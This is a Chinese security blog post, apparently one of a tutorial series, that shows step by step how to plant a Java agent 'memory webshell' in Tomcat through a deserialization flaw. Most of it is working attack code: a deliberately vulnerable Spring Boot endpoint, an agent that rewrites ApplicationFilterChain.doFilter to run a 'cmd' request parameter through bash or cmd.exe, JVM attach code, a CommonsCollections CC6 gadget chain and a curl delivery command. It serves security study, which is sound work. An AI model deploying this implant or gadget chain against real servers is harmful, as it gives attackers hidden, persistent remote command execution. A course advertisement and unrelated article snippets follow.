构造agent类型的内存马(内存马系列篇十三)
写在前面
前面我们对JAVA中的Agent技术进行了简单的学习,学习前面的Agent技术是为了给这篇Agent内存马的实现做出铺垫,接下来我们就来看看Agent内存马的实现。
这是内存马系列篇的第十三篇了。
环境搭建
我这里就使用Springboot来搭建一个简单的漏洞环境,对于agent内存马的注入,我这里搭建的是一个具有明显的反序列化漏洞的web服务,通过反序列化漏洞来进行内存马的注入,
IDEA新建一个springboot项目
漏洞代码:
package com.roboterh.vuln.controller;import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ObjectInputStream;@Controller
public class CommonsCollectionsVuln {@ResponseBody@RequestMapping("/unser")public void unserialize(HttpServletRequest request, HttpServletResponse response) throws Exception {java.io.InputStream inputStream = request.getInputStream();ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);objectInputStream.readObject();response.getWriter().println("successfully!!!");}@ResponseBody@RequestMapping("/demo")public void demo(HttpServletRequest request, HttpServletResponse response) throws Exception{response.getWriter().println("This is a Demo!!!");}
}
在/unser路由中,获取了请求体的序列化数据,进行反序列化调用;
在/demo路由中,返回了一个字符串;
我打算的是通过CC链进行写入。
添加依赖。
<dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version>
</dependency>
正式注入
编写agent.jar
有了前面的知识,我们知道在一个运行中的web服务中,对于premain方法的调用方式不太适用,更实用的是通过agentmain方法的调用。
在通过内置的Attach API进行加载之后将会调用这个方法进行动态修改字节码,所以如果我们能够在该方法中实现我们的恶意逻辑,就能够达到我们的目的。
但是怎么才能注入内存马使得能够与用户请求进行交互式的命令执行捏?这里我们是通过类似于前面提到过的在Tomcat
Filter内存马类似的思想,通过利用org.apache.catalina.core.ApplicationFilterChain#doFilter方法。
只是对于前面所提到的Filter型内存马的实现主要是通过动态添加了一个过滤器,通过配置特定的路由和调用对应的doFilter方法进行利用。
这里我们注入agent内存马主要是通过使用前面基础部分讲过的通过javassist框架进行修改doFilter方法的字节码。
非常友好的是在doFilter方法中存在有ServletRequest / ServletResponse实例,可以直接和请求进行交互。

好了,接下来看看实现,我们可以简化为以下关键的几步:
-
通过
addTransformer方法的调用来添加一个实现了java.lang.instrument.ClassFileTransformer接口的一个类。

-
之后通过调用
retransformClasses方法,来触发前面添加的转换器的transform方法来修改传入的类的对应方法的字节码。

首先是一个存在有agentmain方法的AgentDemo类。
import java.lang.instrument.Instrumentation;public class AgentDemo {public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";public static void agentmain(String agentArgs, Instrumentation inst) {inst.addTransformer(new TransformerDemo(), true);Class[] allLoadedClasses = inst.getAllLoadedClasses();for (Class aClass : allLoadedClasses) {if (aClass.getName().equals(ClassName)) {System.out.println("AgentDemo...");try {inst.retransformClasses(new Class[]{aClass});} catch (Exception e) {e.printStackTrace();}}}}
}
首先定义了一个我们想要修改的类名ClassName字符串,之后在agentmain方法中,添加进入一个我们实现的转换器,将第二个参数置为了true。

设置这个转换器是否可以再次进行转换,之后通过调用getAllLoadedClasses方法来获取所有在JVM中加载的类,之后就是匹配我们我们需要修改的类名,如果成功匹配,我们调用retransformClasses方法转入需要修改的类。
接下来就是ClassFileTransformer接口的实现类TransformerDemo类的逻辑。
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;public class TransformerDemo implements ClassFileTransformer {public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {className = className.replace("/",".");if (className.equals(ClassName)){System.out.println("Find the Inject Class: " + ClassName);ClassPool pool = ClassPool.getDefault();try {CtClass c = pool.getCtClass(className);CtMethod m = c.getDeclaredMethod("doFilter");m.insertBefore("javax.servlet.http.HttpServletRequest req = request;\n" +"javax.servlet.http.HttpServletResponse res = response;\n" +"java.lang.String cmd = request.getParameter(\"cmd\");\n" +"if (cmd != null){\n" +" try {\n" +" java.io.PrintWriter printWriter = response.getWriter();\n" +" ProcessBuilder processBuilder;\n" +" String o = \"\";\n" +" if (System.getProperty(\"os.name\").toLowerCase().contains(\"win\")) {\n" +" processBuilder = new ProcessBuilder(new String[]{\"cmd.exe\", \"/c\", cmd});\n" +" } else {\n" +" processBuilder = new ProcessBuilder(new String[]{\"/bin/bash\", \"-c\", cmd});\n" +" }\n" +" java.util.Scanner scanner = new java.util.Scanner(processBuilder.start().getInputStream()).useDelimiter(\"\\A\");\n" +" o = scanner.hasNext() ? scanner.next() : o;\n" +" scanner.close();\n" +" printWriter.println(o);\n" +" printWriter.flush();\n" +" printWriter.close();\n" +" } catch (Exception e){\n" +" e.printStackTrace();\n" +" }\n" +"}");System.out.println("insertBefore....");byte[] bytes = c.toBytecode();c.detach();return bytes;} catch (Exception e){e.printStackTrace();}}return new byte[0];}
}
同样在该类中定义了一个需要修改的字符串ClassName,最后在transform方法中就是我们的主要逻辑
通过调试,在这里我们得到的className的传参是一个使用/符号作为包名的分隔符,所以我们在transform中首先将/替换成了.符号之后进行匹配,如果成功匹配之后,就是对字节码的修改操作了
对于字节码的修改操作,不仅可以使用javassist框架进行字节码的操作,也可以使用ASM等框架进行修改
这里我是使用的是javassist框架,获取到了目标类的doFilter方法,调用其中的API,即是insertBefore方法将我们的逻辑写在该方法的前面,以至于不会影响原生方法的逻辑。
其中写入的代码

也就是一个经典的将传入的cmd参数进行命令执行并将结果进行了返回,之后将我们修改后的doFilter方法的字节码返回。
最后,我们可以分别编译后得到一个agent.jar包
序列化数据的编写
前面已经创建了一个agent.jar这个包,我们需要将这个包attach进JVM中
前面提到我们通过CC链进行注入,所以我们需要编写一个继承了com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet类的类。
package pers.cc;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.List;public class agentInject extends AbstractTranslet {static {try {// 恶意agent的位置String AgentPath = "xx\\Agent.jar";// 在JVM启动时,没有加载tools.jar,这里通过URLClassLoader进行加载URL toolsUrl = new URL("file:///xx/lib/tools.jar");URLClassLoader loader = URLClassLoader.newInstance(new URL[]{toolsUrl});// 加载tools.jar包中的 VirtualMachine / VirtualMachineDescriptor 类Class<?> VirtualMachine = loader.loadClass("com.sun.tools.attach.VirtualMachine");Class<?> VirtualMachineDescriptor = loader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");// 反射获取list方法Method listMethod = VirtualMachine.getDeclaredMethod("list", null);// 通过调用list方法获取JVM绑定的服务List<Object> list = (java.util.List<Object>) listMethod.invoke(VirtualMachine, null);for (int i = 0; i < list.size(); i++) {// 遍历所有的服务,获取其名称组件Object o = list.get(i);Method displayName = VirtualMachineDescriptor.getDeclaredMethod("displayName",null);String name = (String) displayName.invoke(o,null);System.out.println(name);// 判断需要注入的组件名称if (name.contains("com.roboterh.vuln.Application")){// 获取对应的pid进程号Method getId = VirtualMachineDescriptor.getDeclaredMethod("id",null);String id = (String) getId.invoke(o,null);System.out.println("id => " + id);Method attach = VirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});Object vm = attach.invoke(o,new Object[]{id});// 调用loadAgent动态加载agentMethod loadAgent = VirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});loadAgent.invoke(vm,new Object[]{ AgentPath });// 断开Method detach = VirtualMachine.getDeclaredMethod("detach",null);detach.invoke(vm,null);System.out.println("Inject Success!");break;}}} catch (Exception e) {e.printStackTrace();}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
简单提一下代码中的关键点
将逻辑放在
static代码块中,使得一加载就会触发其中的逻辑;因为在在JVM启动的时候,并不会加载
com.sun.tools.attach.VirtualMachine等类存在的tools.jar包,所以我们需要通过URLClassLoader的方法来获取VirtualMachine / VirtualMachineDescriptor等类;在我们筛选我们想要注入的组件,获取他的PID之后,通过反射调用
loadAgent的方法进行恶意agent.jar的加载,最后通过detach进行取消代理。
这里我选用的是使用CC6_plus的链子进行序列化数据的生成。
package pers.cc;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.aspectj.util.FileUtil;import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CC6_plus {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception{byte[] bytes = FileUtil.readAsByteArray(new File("xx\\agentInject.class"));TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{bytes});setFieldValue(obj, "_name", "1");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());InstantiateFactory instantiateFactory;instantiateFactory = new InstantiateFactory(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class,new Class[]{javax.xml.transform.Templates.class},new Object[]{obj});FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);ConstantTransformer constantTransformer = new ConstantTransformer(1);Map innerMap = new HashMap();LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap, constantTransformer);TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");Map expMap = new HashMap();expMap.put(tme, "valuevalue");setFieldValue(outerMap,"factory",factoryTransformer);outerMap.remove("keykey");serialize(expMap);}public static void serialize(Object obj) throws IOException {ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.ser"));out.writeObject(obj);}
}
注入演示
我们运行漏洞环境,之后将我们生成的1.ser文件中的序列化数据发送。
curl -v "http://localhost:9999/unser" --data-binary "@./1.ser"
能够在控制台中发现一些输出。

如果你存在有insertBefore....这几个字符串,那么恭喜你,你成功了。

能够成功执行命令。
其中执行命令的调用栈是。
start:1007, ProcessBuilder (java.lang)
doFilter:140, ApplicationFilterChain (org.apache.catalina.core)
invoke:202, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:542, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:143, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:357, CoyoteAdapter (org.apache.catalina.connector)
service:374, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:893, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1707, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)
总结
这个内存马算是我搞得比较久的一个内存马了,主要是中间出现了好多好多的问题,还好,时间没有白费,还是一步一个脚印的将所有错误debug解决了,不得不说debug是个好东西。
最后
分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。
到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取

有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:

高清学习路线图或XMIND文件(点击下载原文件)
还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】

相关文章:
构造agent类型的内存马(内存马系列篇十三)
写在前面 前面我们对JAVA中的Agent技术进行了简单的学习,学习前面的Agent技术是为了给这篇Agent内存马的实现做出铺垫,接下来我们就来看看Agent内存马的实现。 这是内存马系列篇的第十三篇了。 环境搭建 我这里就使用Springboot来搭建一个简单的漏洞…...
JavaEE简单示例——<select>中的查询参数传递和结果集封装自动映射关系
简单介绍: 在之前我们在讲SQL映射文件中的映射查询语句的<select>标签的时候,对其中的四个常用属性的讲解并不是那么的透彻,今天就来详细的解释<select>的四个常用属性的具体含义以及<select>标签在进行查询的时候查询参数…...
信息安全圈都在谈论CISP,CISSP,这两者有什么区别呢?
CISP 和 CISSP 都是信息安全认证资格考试,但是它们之间有一些区别。 CISP(Certified Information Security Professional)认证考试是由国际信息系统安全认证联盟(ISC)所开发和管理的,主要考核信息安全专业人员在保障企…...
浅谈Redisson实现分布式锁的原理
1.Redisson简介 Redis 是最流行的 NoSQL 数据库解决方案之一,而 Java 是世界上最流行(注意,我没有说“最好”)的编程语言之一。虽然两者看起来很自然地在一起“工作”,但是要知道,Redis 其实并没有对 Java…...
UVM实战(张强)-- UVM中的寄存器模型
目录一.整体的设计结构图二.各个组件代码详解2.1 DUT2.2 bus_driver2.3 bus_sequencer2.4 bus_monitor2.5 bus_agent2.6 bus_transaction2.7 bus_if2.8 my_if2.9 my_transaction2.10 my_sequencer2.11 my_driver2.12 my_monitor2.13 my_agent2.14 my_scoreboard2.15 my_env2.16…...
什么是 CSAT?这份客户满意度流程指南请查收
什么是 CSAT?如何计算我的客户满意度分数?大中型公司应该熟悉这些术语。以下文章旨在教您有关客户满意度流程的所有内容 - 基本的CSAT概念、创建CSAT调查的好处、如何创建CSAT调查。配图来源: SaleSmartly(ss客服) 一、什么是 CSAT࿱…...
AD域备份和恢复工具
Microsoft的本地Active Directory备份和恢复功能不适用于对象级备份和属性级还原。使用RecoveryManager Plus,您不仅可以备份和还原所有AD对象,还可以备份和还原其他基本AD元素,例如架构属性,组成员身份信息和Exchange属性。此外&…...
老学长的浙大MPA现场复试经验分享
作为一名在浙大MPA项目已经毕业的考生来说,很荣幸受到杭州达立易考周老师的邀请,给大家分享下我的复试经验,因为听周老师说是这几年浙大MPA因疫情情况,已经连续几年都是线上个人复试了,而今年疫情社会面较为平稳的情况…...
制作证书链并进行验证
生成自签名的根证书: openssl req -x509 -newkey rsa -outform PEM -out tls-rootca.pem -keyform PEM -keyout tls-rootca.key.pem -days 35600 -nodes -subj “/C=cn/O=mycomp/OU=mygroup/CN=rootca” 生成中间证书 1.生成csr和key文件 openssl req -newkey rsa:2048 -outf…...
基于python多光谱遥感数据处理、图像分类、定量评估及机器学习方法应用
基于卫星或无人机平台的多光谱数据在地质、土壤调查和农业等应用领域发挥了重要作用,在地质应用方面,综合Aster的短波红外波段、landsat热红外波段等多光谱数据,可以通过不同的多光谱数据组合,协同用于矿物信息有效提取。此外&…...
初识 git--本地仓库
目录:一,基础步骤:1,安装2,配置3,检查配置4,创建仓库 - repository5,查看工作区的文件状态6,如果显示乱码的解决方式git status 显示乱码终端乱码7,添加工作区…...
Redis学习之持久化(六)
这里写目录标题一、持久化简介1.1 持久化1.2 Redis持久化的两种形式二、RDB2.1 RDB概念2.2 save指令手动执行一次保存配置相关参数2.3 bgsave指令2.4 save配置自动执行2.5 RDB三种启动方式对比三、AOF3.1 AOF概念3.2 AOF执行策略3.3 AOF重写四、RDB和AOF区别2.1 RDB与AOF对比&a…...
C++11 之 auto decltype
文章目录autodecltypesauto 和 decltype 的配合—返回值类型后置关于 c11 新特性,最先提到的肯定是类型推导,c11 引入了 auto 和 decltype 关键字,使用他们可以在编译期就推导出变量或者表达式的类型,方便开发者编码也简化了代码。…...
论文笔记:How transferable are features in deep neural networks? 2014年NIP文章
文章目录一、背景介绍二、方法介绍三、实验论证四、结论五、感想参考文献一、背景介绍 1.问题介绍: 许多在自然图像上训练的深度神经网络都表现出一个奇怪的共同现象:在第一层,它们学习类似于Gabor过滤器和color blobs的特征。这样的第一层特…...
python基于flask共享单车系统vue
可定制框架:ssm/Springboot/vue/python/PHP/小程序/安卓均可开发 目录 1 绪论 1 1.1课题背景 1 1.2课题研究现状 1 1.3初步设计方法与实施方案 2 1.4本文研究内容 2 2 系统开发环境 4 2. 3 系统分析 6 3.1系统可行性分析 6 3.1.1经济可行性 6 3.1.2技术可行性 6 3.1.3运行可行…...
C++11 之模板改进
模板的右尖括号 在 c98/03 的泛型编程中,模板实例化有一个很烦琐的地方,那就是连续两个右尖括号(>>)会被编译器解释成右移操作符,而不是模板参数表的结束,所以需要中间加个空格进行分割,…...
Linux - POSIX信号量,基于环形队列的生产者消费者模型
信号量在Linux下,POSIX信号量是一种线程同步机制,用于控制多个线程之间的访问顺序。POSIX信号量可以用于实现线程之间的互斥或者同步。在之前的阻塞队列生产者消费者模型中,阻塞队列是一个共享资源,不管是生产者还是消费者&#x…...
学习Flask之七、大型应用架构
学习Flask之七、大型应用架构 尽管存放在单一脚本的小型网络应用很方便,但是这种应用不能很好的放大。随着应用变得复杂,维护一个大的源文件会出现问题。不像别的网络应用,Flask没有强制的大型项目组织结构。构建应用的方法完全留给开发者。…...
CentOS9下编译FFMPEG源码
克隆...
炼石:八年饮冰难凉热血,初心如磐百炼成钢
炼石成立八周年 八载笃行,踔厉奋发。创立于2015年的炼石,今天迎来了八岁生日,全体员工共同举行了温暖又充满仪式感的周年庆典。过去的2022,是三年疫情的艰难“收官之年”,新的2023,将是数据安全行业成为独…...
uniapp 对接腾讯云IM群组成员管理(增删改查)
UniApp 实战:腾讯云IM群组成员管理(增删改查) 一、前言 在社交类App开发中,群组成员管理是核心功能之一。本文将基于UniApp框架,结合腾讯云IM SDK,详细讲解如何实现群组成员的增删改查全流程。 权限校验…...
label-studio的使用教程(导入本地路径)
文章目录 1. 准备环境2. 脚本启动2.1 Windows2.2 Linux 3. 安装label-studio机器学习后端3.1 pip安装(推荐)3.2 GitHub仓库安装 4. 后端配置4.1 yolo环境4.2 引入后端模型4.3 修改脚本4.4 启动后端 5. 标注工程5.1 创建工程5.2 配置图片路径5.3 配置工程类型标签5.4 配置模型5.…...
基于服务器使用 apt 安装、配置 Nginx
🧾 一、查看可安装的 Nginx 版本 首先,你可以运行以下命令查看可用版本: apt-cache madison nginx-core输出示例: nginx-core | 1.18.0-6ubuntu14.6 | http://archive.ubuntu.com/ubuntu focal-updates/main amd64 Packages ng…...
【python异步多线程】异步多线程爬虫代码示例
claude生成的python多线程、异步代码示例,模拟20个网页的爬取,每个网页假设要0.5-2秒完成。 代码 Python多线程爬虫教程 核心概念 多线程:允许程序同时执行多个任务,提高IO密集型任务(如网络请求)的效率…...
蓝桥杯3498 01串的熵
问题描述 对于一个长度为 23333333的 01 串, 如果其信息熵为 11625907.5798, 且 0 出现次数比 1 少, 那么这个 01 串中 0 出现了多少次? #include<iostream> #include<cmath> using namespace std;int n 23333333;int main() {//枚举 0 出现的次数//因…...
AspectJ 在 Android 中的完整使用指南
一、环境配置(Gradle 7.0 适配) 1. 项目级 build.gradle // 注意:沪江插件已停更,推荐官方兼容方案 buildscript {dependencies {classpath org.aspectj:aspectjtools:1.9.9.1 // AspectJ 工具} } 2. 模块级 build.gradle plu…...
云原生玩法三问:构建自定义开发环境
云原生玩法三问:构建自定义开发环境 引言 临时运维一个古董项目,无文档,无环境,无交接人,俗称三无。 运行设备的环境老,本地环境版本高,ssh不过去。正好最近对 腾讯出品的云原生 cnb 感兴趣&…...
使用Matplotlib创建炫酷的3D散点图:数据可视化的新维度
文章目录 基础实现代码代码解析进阶技巧1. 自定义点的大小和颜色2. 添加图例和样式美化3. 真实数据应用示例实用技巧与注意事项完整示例(带样式)应用场景在数据科学和可视化领域,三维图形能为我们提供更丰富的数据洞察。本文将手把手教你如何使用Python的Matplotlib库创建引…...
Mysql中select查询语句的执行过程
目录 1、介绍 1.1、组件介绍 1.2、Sql执行顺序 2、执行流程 2.1. 连接与认证 2.2. 查询缓存 2.3. 语法解析(Parser) 2.4、执行sql 1. 预处理(Preprocessor) 2. 查询优化器(Optimizer) 3. 执行器…...
GitFlow 工作模式(详解)
今天再学项目的过程中遇到使用gitflow模式管理代码,因此进行学习并且发布关于gitflow的一些思考 Git与GitFlow模式 我们在写代码的时候通常会进行网上保存,无论是github还是gittee,都是一种基于git去保存代码的形式,这样保存代码…...
